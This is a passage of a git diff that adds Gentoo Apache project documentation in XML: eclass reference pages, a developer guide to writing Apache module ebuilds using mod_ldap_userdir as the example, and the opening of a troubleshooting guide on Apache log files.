+<dt><c>apache-2_pkg_postinst </c></dt><dd>This function creates test certificates if SSL is enabled and installs the
+default webroot to /var/www/localhost if it does not exist. We do this here
+because the default webroot is a copy of the files that exist elsewhere and we
+don't want them to be managed/removed by portage when apache is upgraded.</dd>
+<dt><c>apache-2_pkg_config </c></dt><dd>This function installs -- and overwrites -- the default webroot to
+/var/www/localhost</dd></dl></body>
+</section>
+</chapter>
+<chapter>
+<title>VARIABLES</title>
+<section>
+<body><dl><dt><c>GENTOO_DEVELOPER</c></dt><dd>This variable needs to be set in the ebuild and contains the name of the
+gentoo developer who created the patch tarball</dd>
+<dt><c>GENTOO_PATCHSTAMP</c></dt><dd>This variable needs to be set in the ebuild and contains the date the patch
+tarball was created at in YYYYMMDD format</dd>
+<dt><c>IUSE_MPMS_FORK</c></dt><dd>This variable needs to be set in the ebuild and contains a list of forking
+(i.e.  non-threaded) MPMs</dd>
+<dt><c>IUSE_MPMS_THREAD</c></dt><dd>This variable needs to be set in the ebuild and contains a list of threaded
+MPMs</dd>
+<dt><c>IUSE_MODULES</c></dt><dd>This variable needs to be set in the ebuild and contains a list of available
+built-in modules</dd>
+<dt><c>MODULE_CRITICAL</c></dt><dd>This variable needs to be set in the ebuild and contains a space-separated
+list of modules critical for the default apache. A user may still
+disable these modules for custom minimal installation at their own risk.</dd>
+<dt><c>MODULE_DEPENDS</c></dt><dd>This variable needs to be set in the ebuild and contains a space-separated
+list of dependency tokens each with a module and the module it depends on
+separated by a colon</dd>
+<dt><c>MODULE_DEFINES</c></dt><dd>This variable needs to be set in the ebuild and contains a space-separated
+list of tokens each mapping a module to a runtime define which can be
+specified in APACHE2_OPTS in /etc/conf.d/apache2 to enable this particular
+module.</dd></dl></body>
+</section>
+</chapter>
+<chapter>
+<title>ECLASS VARIABLES</title>
+<section>
+<body><dl><dt><c>GENTOO_PATCHNAME = "gentoo-${PF}"</c></dt><dd>This internal variable contains the prefix for the patch tarball</dd>
+<dt><c>GENTOO_PATCHDIR = "${WORKDIR}/${GENTOO_PATCHNAME}"</c></dt><dd>This internal variable contains the working directory where patches and config
+files are located</dd>
+<dt><c>MY_MPM</c></dt><dd>This internal variable contains the selected MPM after a call to setup_mpm()</dd>
+<dt><c>MY_CONF</c></dt><dd>This internal variable contains the econf options for the current module
+selection after a call to setup_modules()</dd>
+<dt><c>MY_MODS</c></dt><dd>This internal variable contains a sorted, space separated list of currently
+selected modules after a call to setup_modules()</dd></dl></body>
+</section>
+</chapter>
+<chapter>
+<title>MAINTAINERS</title>
+<section>
+<body><p>apache-devs@gentoo.org</p></body>
+</section>
+</chapter>
+<chapter>
+<title>REPORTING BUGS</title>
+<section>
+<body><p>Please report bugs via <uri link="http://bugs.gentoo.org">http://bugs.gentoo.org/</uri></p></body>
+</section>
+</chapter>
+<chapter>
+<title>FILES</title>
+<section>
+<body><p><c>/usr/portage/eclass/apache-2.eclass</c></p></body>
+</section>
+</chapter>
+<chapter>
+<title>SEE ALSO</title>
+<section>
+<body><p><c>ebuild (5)</c></p></body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/apache/doc/apache-module.eclass.xml b/xml/htdocs/proj/en/apache/doc/apache-module.eclass.xml
new file mode 100644
index 00000000..d1426a58
--- /dev/null
+++ b/xml/htdocs/proj/en/apache/doc/apache-module.eclass.xml
@@ -0,0 +1,120 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/doc/en/eclass/apache-module.eclass.xml">
+<title>Documentation for apache-module.eclass</title>
+<author>
+<mail link="apache-devs@gentoo.org">apache-devs@gentoo.org</mail>
+</author>
+<abstract>
+Auto-generated documentation for apache-module.eclass
+</abstract>
+<license/>
+<version>1.0</version>
+<date>2008-03-23</date>
+<chapter>
+<title>NAME</title>
+<section>
+<body><p><c>apache-module.eclass</c> - Provides a common set of functions for apache modules</p></body>
+</section>
+</chapter>
+<chapter>
+<title>DESCRIPTION</title>
+<section>
+<body><p>This eclass handles apache modules in a sane way.</p><p>
+To make use of this eclass simply call one of the need/want_apache functions
+described in depend.apache.eclass. Make sure you use the need/want_apache call
+after you have defined DEPEND and RDEPEND. Also note that you can not rely on
+the automatic RDEPEND=DEPEND that portage does if you use this eclass.</p><p>
+See Bug 107127 for more information.</p><p></p></body>
+</section>
+</chapter>
+<chapter>
+<title>EXAMPLE</title>
+<section>
+<body><p></p><p>
+Here is a simple example of an ebuild for mod_foo:</p><p>
+</p><pre caption="example">
+APACHE2_MOD_CONF="42_mod_foo"
+APACHE2_MOD_DEFINE="FOO"
+need_apache2
+</pre><p></p><p>
+A more complicated example for a module with non-standard locations:</p><p>
+</p><pre caption="example">
+APXS2_S="${S}/apache22/src"
+APACHE2_MOD_FILE="${APXS2_S}/${PN}.so"
+APACHE2_MOD_CONF="42_${PN}"
+APACHE2_MOD_DEFINE="FOO"
+DOCFILES="docs/*.html"
+need_apache2_2
+</pre><p></p><p>
+A basic module configuration which just loads the module into apache:</p><p>
+</p><pre caption="example">
+&lt;IfDefine FOO&gt;
+LoadModule foo_module modules/mod_foo.so
+&lt;/IfDefine&gt;
+</pre><p></p></body>
+</section>
+</chapter>
+<chapter>
+<title>FUNCTIONS</title>
+<section>
+<body><dl><dt><c>apache-module_src_compile </c></dt><dd>The default action is to call ${APXS} with the value of ${APXS2_ARGS}. If a
+module requires a different build setup than this, use ${APXS} in your own
+src_compile routine.</dd>
+<dt><c>apache-module_src_install </c></dt><dd>This installs the files into apache's directories. The module is installed
+from a directory chosen as above (apache_cd_dir). In addition, this function
+can also set the executable permission on files listed in
+${APACHE2_EXECFILES}.  The configuration file name is listed in
+${APACHE2_MOD_CONF} without the .conf extensions, so if you configuration is
+55_mod_foo.conf, APACHE2_MOD_CONF would be 55_mod_foo. ${DOCFILES} contains
+the list of files you want filed as documentation.</dd>
+<dt><c>apache-module_pkg_postinst </c></dt><dd>This prints out information about the installed module and how to enable it.</dd></dl></body>
+</section>
+</chapter>
+<chapter>
+<title>VARIABLES</title>
+<section>
+<body><dl><dt><c>APXS2_S</c></dt><dd>Path to temporary build directory. (Defaults to `${S}/src' if it exists,
+`${S}' otherwise)</dd>
+<dt><c>APXS2_ARGS</c></dt><dd>Arguments to pass to the apxs tool. (Defaults to `-c ${PN}.c')</dd>
+<dt><c>APACHE2_EXECFILES</c></dt><dd>List of files that will be installed into ${APACHE_MODULE_DIR} beside
+${APACHE2_MOD_FILE}. In addition, this function also sets the executable
+permission on those files.</dd>
+<dt><c>APACHE2_MOD_CONF</c></dt><dd>Module configuration file installed by src_install (minus the .conf suffix and
+relative to ${FILESDIR}).</dd>
+<dt><c>APACHE2_MOD_DEFINE</c></dt><dd>Name of define (e.g. FOO) to use in conditional loading of the installed
+module/its config file, multiple defines should be space separated.</dd>
+<dt><c>APACHE2_MOD_FILE</c></dt><dd>Name of the module that src_install installs minus the .so suffix. (Defaults
+to `${APXS2_S}/.libs/${PN}.so')</dd>
+<dt><c>APACHE2_VHOST_CONF</c></dt><dd>Virtual host configuration file installed by src_install (minus the .conf
+suffix and relative to ${FILESDIR}).</dd>
+<dt><c>DOCFILES</c></dt><dd>If the exported src_install() is being used, and ${DOCFILES} is non-zero, some
+sed-fu is applied to split out html documentation (if any) from normal
+documentation, and dodoc'd or dohtml'd.</dd></dl></body>
+</section>
+</chapter>
+<chapter>
+<title>MAINTAINERS</title>
+<section>
+<body><p>apache-devs@gentoo.org</p></body>
+</section>
+</chapter>
+<chapter>
+<title>REPORTING BUGS</title>
+<section>
+<body><p>Please report bugs via <uri link="http://bugs.gentoo.org">http://bugs.gentoo.org/</uri></p></body>
+</section>
+</chapter>
+<chapter>
+<title>FILES</title>
+<section>
+<body><p><c>/usr/portage/eclass/apache-module.eclass</c></p></body>
+</section>
+</chapter>
+<chapter>
+<title>SEE ALSO</title>
+<section>
+<body><p><c>ebuild (5)</c></p></body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/apache/doc/depend.apache.eclass.xml b/xml/htdocs/proj/en/apache/doc/depend.apache.eclass.xml
new file mode 100644
index 00000000..305c8398
--- /dev/null
+++ b/xml/htdocs/proj/en/apache/doc/depend.apache.eclass.xml
@@ -0,0 +1,125 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/doc/en/eclass/depend.apache.eclass.xml">
+<title>Documentation for depend.apache.eclass</title>
+<author>
+<mail link="apache-devs@gentoo.org">apache-devs@gentoo.org</mail>
+</author>
+<abstract>
+Auto-generated documentation for depend.apache.eclass
+</abstract>
+<license/>
+<version>1.0</version>
+<date>2008-03-23</date>
+<chapter>
+<title>NAME</title>
+<section>
+<body><p><c>depend.apache.eclass</c> - Functions to allow ebuilds to depend on apache</p></body>
+</section>
+</chapter>
+<chapter>
+<title>DESCRIPTION</title>
+<section>
+<body><p>This eclass handles depending on apache in a sane way and provides information
+about where certain binaries and configuration files are located.</p><p>
+To make use of this eclass simply call one of the need/want_apache functions
+described below. Make sure you use the need/want_apache call after you have
+defined DEPEND and RDEPEND. Also note that you can not rely on the automatic
+RDEPEND=DEPEND that portage does if you use this eclass.</p><p>
+See Bug 107127 for more information.</p><p></p></body>
+</section>
+</chapter>
+<chapter>
+<title>EXAMPLE</title>
+<section>
+<body><p></p><p>
+Here is an example of an ebuild depending on apache:</p><p>
+</p><pre caption="example">
+DEPEND="virtual/Perl-CGI"
+RDEPEND="${DEPEND}"
+need_apache2
+</pre><p></p><p>
+Another example which demonstrates non-standard IUSE options for optional
+apache support:</p><p>
+</p><pre caption="example">
+DEPEND="server? ( virtual/Perl-CGI )"
+RDEPEND="${DEPEND}"
+want_apache2 server
+</pre><p></p></body>
+</section>
+</chapter>
+<chapter>
+<title>FUNCTIONS</title>
+<section>
+<body><dl><dt><c>want_apache [myiuse]</c></dt><dd>An ebuild calls this to get the dependency information for optional apache
+support. If the myiuse parameter is not given it defaults to apache2.</dd>
+<dt><c>want_apache2 [myiuse]</c></dt><dd>An ebuild calls this to get the dependency information for optional apache-2.x
+support. If the myiuse parameter is not given it defaults to apache2.</dd>
+<dt><c>want_apache2_2 [myiuse]</c></dt><dd>An ebuild calls this to get the dependency information for optional
+apache-2.2.x support. If the myiuse parameter is not given it defaults to
+apache2.</dd>
+<dt><c>need_apache </c></dt><dd>An ebuild calls this to get the dependency information for apache.</dd>
+<dt><c>need_apache2 </c></dt><dd>An ebuild calls this to get the dependency information for apache-2.x.</dd>
+<dt><c>need_apache2_2 </c></dt><dd>An ebuild calls this to get the dependency information for apache-2.2.x.</dd>
+<dt><c>has_apache </c></dt><dd>An ebuild calls this to get runtime variables for an indirect apache
+dependency without USE-flag, in which case want_apache does not work.
+DO NOT call this function in global scope.</dd>
+<dt><c>has_apache_threads [myflag]</c></dt><dd>An ebuild calls this to make sure thread-safety is enabled if apache has been
+built with a threaded MPM. If the myflag parameter is not given it defaults to
+threads.</dd>
+<dt><c>has_apache_threads_in &lt;myforeign&gt; [myflag]</c></dt><dd>An ebuild calls this to make sure thread-safety is enabled in a foreign
+package if apache has been built with a threaded MPM. If the myflag parameter
+is not given it defaults to threads.</dd></dl></body>
+</section>
+</chapter>
+<chapter>
+<title>ECLASS VARIABLES</title>
+<section>
+<body><dl><dt><c>APACHE_VERSION</c></dt><dd>Stores the version of apache we are going to be ebuilding.
+This variable is set by the want/need_apache functions.</dd>
+<dt><c>APXS</c></dt><dd>Path to the apxs tool.
+This variable is set by the want/need_apache functions.</dd>
+<dt><c>APACHE_BIN</c></dt><dd>Path to the apache binary.
+This variable is set by the want/need_apache functions.</dd>
+<dt><c>APACHE_CTL</c></dt><dd>Path to the apachectl tool.
+This variable is set by the want/need_apache functions.</dd>
+<dt><c>APACHE_BASEDIR</c></dt><dd>Path to the server root directory.
+This variable is set by the want/need_apache functions.</dd>
+<dt><c>APACHE_CONFDIR</c></dt><dd>Path to the configuration file directory.
+This variable is set by the want/need_apache functions.</dd>
+<dt><c>APACHE_MODULES_CONFDIR</c></dt><dd>Path where module configuration files are kept.
+This variable is set by the want/need_apache functions.</dd>
+<dt><c>APACHE_VHOSTS_CONFDIR</c></dt><dd>Path where virtual host configuration files are kept.
+This variable is set by the want/need_apache functions.</dd>
+<dt><c>APACHE_MODULESDIR</c></dt><dd>Path where we install modules.
+This variable is set by the want/need_apache functions.</dd>
+<dt><c>APACHE_DEPEND = "www-servers/apache"</c></dt><dd>Dependencies for Apache</dd>
+<dt><c>APACHE2_DEPEND = "=www-servers/apache-2*"</c></dt><dd>Dependencies for Apache 2.x</dd>
+<dt><c>APACHE2_2_DEPEND = "=www-servers/apache-2.2*"</c></dt><dd>Dependencies for Apache 2.2.x</dd></dl></body>
+</section>
+</chapter>
+<chapter>
+<title>MAINTAINERS</title>
+<section>
+<body><p>apache-devs@gentoo.org</p></body>
+</section>
+</chapter>
+<chapter>
+<title>REPORTING BUGS</title>
+<section>
+<body><p>Please report bugs via <uri link="http://bugs.gentoo.org">http://bugs.gentoo.org/</uri></p></body>
+</section>
+</chapter>
+<chapter>
+<title>FILES</title>
+<section>
+<body><p><c>/usr/portage/eclass/depend.apache.eclass</c></p></body>
+</section>
+</chapter>
+<chapter>
+<title>SEE ALSO</title>
+<section>
+<body><p><c>ebuild (5)</c></p></body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/apache/doc/developer.xml b/xml/htdocs/proj/en/apache/doc/developer.xml
new file mode 100644
index 00000000..8af89c33
--- /dev/null
+++ b/xml/htdocs/proj/en/apache/doc/developer.xml
@@ -0,0 +1,332 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/apache/doc/developer.xml,v 1.4 2008/03/23 15:24:39 hollow Exp $ -->
+
+<guide link="/proj/en/apache/doc/developer.xml" lang="en">
+<title>Apache Developer Documentation</title>
+
+<author title="Author">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Editor">
+  <mail link="hollow@gentoo.org">Benedikt Böhm</mail>
+</author>
+
+<abstract>
+This document provides details about the eclasses available for developers
+of packages that relate to the Apache webserver.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.5</version>
+<date>2008-03-02</date>
+
+<chapter id="modulehowto">
+<title>Apache Module Howto</title>
+<section>
+<title>Overview</title>
+<body>
+
+<p>
+This chapter will guide a developer through creating an ebuild using one of our
+more complex packages, <c>www-apache/mod_ldap_userdir</c> as an example. All
+Apache modules need to use the
+<uri link="apache-module.eclass.xml">apache-module.eclass</uri> in order to
+work with future changes to the apache core.
+</p>
+
+</body>
+</section>
+<section>
+<title>Apache Path Locations</title>
+<body>
+
+<p>
+In order to closely follow how upstream and other distributions install apache,
+the following paths must be used as specified by
+<uri link="depend.apache.eclass.xml">depend.apache.eclass</uri>:
+</p>
+
+<table>
+<tr>
+  <th>Use</th>
+  <th>Variable</th>
+  <th>Path</th>
+</tr>
+<tr>
+  <ti>Server Root</ti>
+  <ti><c>APACHE_BASEDIR</c></ti>
+  <ti><path>/usr/lib/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Configuration Directory</ti>
+  <ti><c>APACHE_CONFDIR</c></ti>
+  <ti><path>/etc/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Vhosts Configuration</ti>
+  <ti><c>APACHE_VHOSTS_CONFDIR</c></ti>
+  <ti><path>/etc/apache2/vhosts.d/</path></ti>
+</tr>
+<tr>
+  <ti>Modules Configuration</ti>
+  <ti><c>APACHE_MODULES_CONFDIR</c></ti>
+  <ti><path>/etc/apache2/modules.d/</path></ti>
+</tr>
+<tr>
+  <ti>Module Binaries</ti>
+  <ti><c>APACHE_MODULESDIR</c></ti>
+  <ti><path>/usr/lib/apache2/modules/</path></ti>
+</tr>
+<tr>
+  <ti>Include Files Directory</ti>
+  <ti><c>APACHE_INCLUDEDIR</c></ti>
+  <ti><path>/usr/include/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Apache Binary</ti>
+  <ti><c>APACHE_BIN</c></ti>
+  <ti><path>/usr/sbin/apache2</path></ti>
+</tr>
+<tr>
+  <ti>Apache Control Script</ti>
+  <ti><c>APACHE_CTL</c></ti>
+  <ti><path>/usr/sbin/apache2ctl</path></ti>
+</tr>
+<tr>
+  <ti>APXS Binary</ti>
+  <ti><c>APXS</c></ti>
+  <ti><path>/usr/sbin/apxs2</path></ti>
+</tr>
+</table>
+
+<note>
+If your package isn't actually a module but just needs to know the paths Apache
+uses, just <c>inherit depend.apache</c> and use the variables made available
+to you in the eclass. See the
+<uri link="depend.apache.eclass.xml">depend.apache.eclass</uri> documentation.
+</note>
+
+</body>
+</section>
+<section>
+<title>Overview of apache-module ebuilds</title>
+<body>
+
+<ul>
+  <li>Generally all functions can be removed from the ebuild</li>
+  <li>
+    Check to see if the default <c>src_compile</c> in the eclass will work.
+    If not, set <c>APXS2_ARGS</c> to compile other files as required.
+  </li>
+  <li>
+    Replace any <c>DEPEND</c> on Apache with one of the <c>need_apache*</c>
+    functions described in the
+    <uri link="depend.apache.eclass.xml">depend.apache.eclass</uri> documentation.
+  </li>
+  <li>
+    Create the module configuration file to use <c>IfDefine</c>s to load and
+    configure the module
+  </li>
+  <li>Add any documentation files to <c>DOCFILES</c></li>
+  <li>
+    Specify the configuration file src_install should install:
+    <c>APACHE2_MOD_CONF</c>
+  </li>
+  <li>
+    Specify the <c>IfDefine</c> that the module uses in its configuration
+    file so pkg_postinst can give user information on how to enable the module:
+    <c>APACHE2_MOD_DEFINE</c>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Ebuild Globals</title>
+<body>
+
+<pre caption="mod_ldap_userdir-1.1.12 (edited)">
+inherit apache-module
+
+DESCRIPTION="Apache module that enables ~/public_html from an LDAP directory."
+HOMEPAGE="http://horde.net/~jwm/software/mod_ldap_userdir/"
+SRC_URI="http://horde.net/~jwm/software/mod_ldap_userdir/${P}.tar.gz"
+
+LICENSE="GPL-1"
+SLOT="0"
+KEYWORDS="~ppc ~x86"
+IUSE="ssl"
+
+DEPEND="ssl? ( dev-libs/openssl )
+    net-nds/openldap"
+RDEPEND="${DEPEND}"
+
+DOCFILES="DIRECTIVES README user-ldif posixAccount-objectclass"
+
+APXS2_ARGS="-lldap -llber -c ${PN}.c"
+APACHE2_MOD_CONF="47_mod_ldap_userdir"
+APACHE2_MOD_DEFINE="LDAP_USERDIR"
+
+need_apache2_2
+</pre>
+
+<p>
+We start off with <c>inherit apache-module</c> which also inherits
+<c>depend.apache</c>. <c>depend.apache</c> defines the
+locations Apache uses and more importantly, defines three <c>DEPEND</c>s:
+<c>APACHE2_2_DEPEND</c> for
+those packages that need Apache-2.2*, <c>APACHE2_DEPEND</c> for those packages
+that need Apache-2*, and <c>APACHE_DEPEND</c> for those packages that need
+either any version of Apache.
+</p>
+
+<p>
+<c>apache-module</c> does the heavy lifting for the module packages by
+defining sane defaults for <c>pkg_setup</c>, <c>src_compile</c>,
+<c>src_install</c> and <c>pkg_postinst</c>.
+</p>
+
+<p>
+<c>depend.apache</c> handles adding the correct Apache DEPEND to your DEPEND
+(if you call one of the <c>need_apache*</c> functions) so you can skip
+the apache DEPEND handling in your ebuild.
+</p>
+
+<p>
+<c>DOCFILES</c> is used by the <c>src_install</c> in <c>apache-modules</c> to 
+install all the documentation. <c>src_install</c> automatically detects html 
+files and other files and uses either <c>dodoc</c> or <c>dohtml</c> to install
+them to their correct locations.
+</p>
+
+<p>
+<c>APACHE2_MOD_CONF</c> define the configuration
+file to install for the module. This is used during <c>src_install</c> and
+needs to be relative to <c>FILESDIR</c>. See the
+<uri link="apache-module.eclass.xml">apache-module.eclass</uri> documentation
+for details.
+</p>
+
+<p>
+<c>APACHE2_MOD_DEFINE</c> tells the eclass which
+<c>&lt;IfDefine MODULENAME&gt;</c> the module uses. It is used for displaying
+instructions to the user on how to enable the module.
+</p>
+
+</body>
+</section>
+<section>
+<title>src_compile</title>
+<body>
+
+<p>
+<c>src_compile</c> may be needed if the module requires special steps that the 
+eclass can't handle. This would be a rare case. In most cases, just reviewing 
+the <path>Makefile</path> and adding items to <c>APXS2_ARGS</c> will be sufficient.
+</p>
+
+<pre caption="mod_ldap_userdir-1.1.12 (edited)">
+src_compile() {
+    econf || die "econf failed"
+    use ssl &amp;&amp; APXS2_ARGS="${APXS2_ARGS} -DTLS=1"
+    apache-module_src_compile
+}
+</pre>
+
+<note>
+In general, if APXS2_ARGS needs to be different, it is
+defined in global space. <path>mod_ldap_userdir</path> is different in this
+respect, because the state of the ssl USE-flag affects those variables and
+it's more efficient to only set those values in <c>src_compile</c> rather than
+run the USE check during every invocation of the ebuild.
+</note>
+
+</body>
+</section>
+<section>
+<title>src_install</title>
+<body>
+
+<p>
+In most cases, <c>src_install</c> will not be needed. The exceptions are when
+there are other directories that need to be installed or when file permissions
+need to be changed.
+</p>
+
+<pre caption="mod_ldap_userdir-1.1.12 (edited)">
+src_install() {
+    apache-module_src_install
+    fperms 600 "${APACHE_MODULES_CONFDIR}"/47_mod_ldap_userdir.conf
+}
+</pre>
+
+<p>
+As you can see, in <path>mod_ldap_userdir</path> we need to set the proper
+permissions on its configuration file. But we still let <c>apache-module</c>
+strut it's stuff by calling <c>apache-module_src_install</c> inside our
+<c>src_install</c>. In most cases, <c>src_install</c> will not be needed at all.
+</p>
+
+<p>
+<c>src_install</c> completely handles installing the module, configuration 
+files and documentation into the correct places.
+</p>
+
+</body>
+</section>
+<section>
+<title>Other functions</title>
+<body>
+
+<p>
+In most cases, there should not be any pkg_postinst or pkg_config as the eclass
+handles outputting instructions to the user about enabling a module and where
+the configuration file is. If additional setup instructions are needed, then a
+<c>pkg_postinst</c> can be added, but should also run
+<c>apache-module_pkg_postinst</c> inside it.
+</p>
+
+<p>
+With the default configuration of Apache, we dont't need to have the
+user modify their <path>httpd.conf</path> to enable a module. All the
+<path>*.conf</path> files in the <path>modules.d</path> directory are included
+automatically. Every file there should be completely wrapped in an
+<c>&lt;IfDefine MODULENAME&gt;</c> block so that the directives in that file
+are only used if the user adds a <c>"-D MODULENAME"</c> to their
+<path>/etc/conf.d/apache2</path> file.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configuration file</title>
+<body>
+
+<p>
+Every module configuration file needs to be wrapped in <c>&lt;IfDefine 
+MODULENAME&gt;</c> blocks. If you don't do this, then Apache will load the 
+module by default, which we don't want - module loading is to be controlled by 
+the user, using the <path>/etc/conf.d/apache2</path> file.
+</p>
+
+<pre caption="sample config file">
+&lt;IfDefine LDAP_USERDIR&gt;
+LoadModule ldap_userdir_module modules/mod_ldap_userdir.so
+
+<comment># Put a good default configuration here:</comment>
+LDAPUserDir             public_html
+LDAPUserDirDNInfo       cn=root,dc=yourcompany,dc=com yourpassword
+LDAPUserDirBaseDN       ou=People,dc=yourcompany,dc=com
+
+&lt;/IfDefine&gt;
+</pre>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/apache/doc/troubleshooting.xml b/xml/htdocs/proj/en/apache/doc/troubleshooting.xml
new file mode 100644
index 00000000..026ac96b
--- /dev/null
+++ b/xml/htdocs/proj/en/apache/doc/troubleshooting.xml
@@ -0,0 +1,453 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/apache/doc/troubleshooting.xml,v 1.1 2008/03/23 11:09:04 hollow Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/apache/doc/troubleshooting.xml" lang="en">
+<title>Troubleshooting Apache</title>
+
+<author title="Author">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Contributor">
+  <mail link="beu@gentoo.org">Elfyn McBratney</mail>
+</author>
+<author title="Contributor">
+  <mail link="kloeri@gentoo.org">Bryan Østergaard</mail>
+</author>
+<author title="Contributor">
+  <mail link="hollow@gentoo.org">Benedikt Böhm</mail>
+</author>
+
+<abstract>
+This document covers a number of ways to figure out how to fix your Apache 
+installation when things are not working correctly.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2007-11-29</date>
+
+<chapter>
+<title>Checking the Logs</title>
+<section>
+<body>
+
+<p>
+If there is something wrong with your Apache, but you have no idea how to 
+figure out what's wrong, your first clues will be in the log files.
+</p>
+
+<p>
+There are a few log files around. All of them are located inside 
+<path>/var/log/apache2/</path>. Not all of the following log files will be 
+on your system: this depends on what modules you have enabled.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>access_log and ssl_access_log</title>
+<body>
+
+<pre caption="access_log">
+67.185.0.236 - - [18/Jun/2005:12:05:50 -0700] "GET / HTTP/1.0" 200 721
+10.0.1.80 - - [18/Jun/2005:12:11:07 -0700] "GET /~jaspenelle/__journal1.jpg HTTP/1.1" 200 19079
+66.239.233.163 - - [18/Jun/2005:12:15:06 -0700] "GET /~jaspenelle/avy14.gif HTTP/1.0" 200 1661
+67.185.60.155 - - [18/Jun/2005:12:18:48 -0700] "GET / HTTP/1.0" 200 721
+67.185.0.236 - - [18/Jun/2005:12:25:39 -0700] "GET / HTTP/1.0" 200 721
+10.0.1.80 - - [18/Jun/2005:12:28:04 -0700] "GET /~jaspenelle/avy14.gif HTTP/1.1" 200 1661
+10.0.1.80 - - [18/Jun/2005:12:28:46 -0700] "GET /~jaspenelle/avy7.png HTTP/1.1" 200 13066
+</pre>
+
+<p>
+This file is simply a listing of every file requested from your server. Unless 
+you have changed the default configuration, it will be in Common Log Format:
+</p>
+
+<pre caption="Common Log Format syntax">
+remotehost rfc931 authuser [date] "request" status bytes
+</pre>
+
+<table>
+<tr>
+  <ti>remotehost</ti>
+  <ti>Remote host name or IP address</ti>
+</tr>
+<tr>
+  <ti>rfc931</ti>
+  <ti>The remote log name of the user.</ti>
+</tr>
+<tr>
+  <ti>authuser</ti>
+  <ti>The user name as which the user has authenticated himself.</ti>
+</tr>
+<tr>
+  <ti>[date]</ti>
+  <ti>Date and time of the request.</ti>
+</tr>
+<tr>
+  <ti>"request"</ti>
+  <ti>The request line exactly as it came from the client.</ti>
+</tr>
+<tr>
+  <ti>status</ti>
+  <ti>The HTTP status code returned to the client.</ti>
+</tr>
+<tr>
+  <ti>bytes</ti>
+  <ti>The content-length of the document transferred.</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>error_log and ssl_error_log</title>
+<body>
+
+<pre caption="error_log">
+[Mon Feb 07 23:33:18 2005] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec2)
+[Mon Feb 07 23:33:18 2005] [notice] Digest: generating secret for digest authentication ...
+[Mon Feb 07 23:33:18 2005] [notice] Digest: done
+[Mon Feb 07 23:33:18 2005] [notice] Apache/2.0.52 (Gentoo/Linux) PHP/4.3.10 configured -- resuming normal operations
+[Sat Jun 18 13:01:54 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:14 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:18 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:21 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:24 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+</pre>
+
+<p>
+As you can see, this file can contain a lot of stuff, depending on the 
+<c>ErrorLevel</c> directive in your <path>httpd.conf</path> file. It tells you 
+if apache started up correctly, what errors it has run into, ... In general it
+will tell you what went wrong. If something isn't working right, this should 
+be the first file you check for more information.
+</p>
+
+</body>
+</section>
+<section>
+<title>suexec_log</title>
+<body>
+
+<pre caption="suexec_log">
+[2005-02-11 22:33:19]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+[2005-03-11 19:20:13]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+[2005-03-11 19:34:47]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+</pre>
+
+<p>
+This file contains a log entry for every time a script is ran using CGI and 
+suexec. If you can't get a script to work with suexec, this log is the one 
+to check as it will generally have a line listing why it wouldn't run a script.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>I installed a module, but it's not working!!!</title>
+<section>
+<body>
+
+<p>
+Just installing a module is not enough - you have to explicitly turn it on. We 
+do this so that it's easy to turn on and off individual modules, which makes 
+it easy to find which module is causing problems and let's you test 
+modules and disable them easily.
+</p>
+
+<p>
+When you install a module, it should display a message similar to this:
+</p>
+
+<pre caption="Post-installation message from emerge">
+ * 
+ * To enable mod_layout, you need to edit your /etc/conf.d/apache2 file and
+ * add '-D LAYOUT' to APACHE2_OPTS.
+ * 
+ * 
+ * Configuration file installed as
+ *     /etc/apache2/modules.d/15_mod_layout.conf
+ * You may want to edit it before turning the module on in /etc/conf.d/apache2
+ * 
+</pre>
+
+<p>
+This is pretty straightforward. It tells you exactly what you need to do to 
+enable this module.
+</p>
+
+<p>
+If you missed this message, there is another way to find out what you need to 
+add to <c>APACHE2_OPTS</c> in <path>/etc/conf.d/apache2</path>: simply 
+check the configuration file the module installed. The module's 
+configuration file should be added to <path>/etc/apache2/modules.d/</path>. 
+Look for it there and find a line that has <c>IfDefine</c>:
+</p>
+
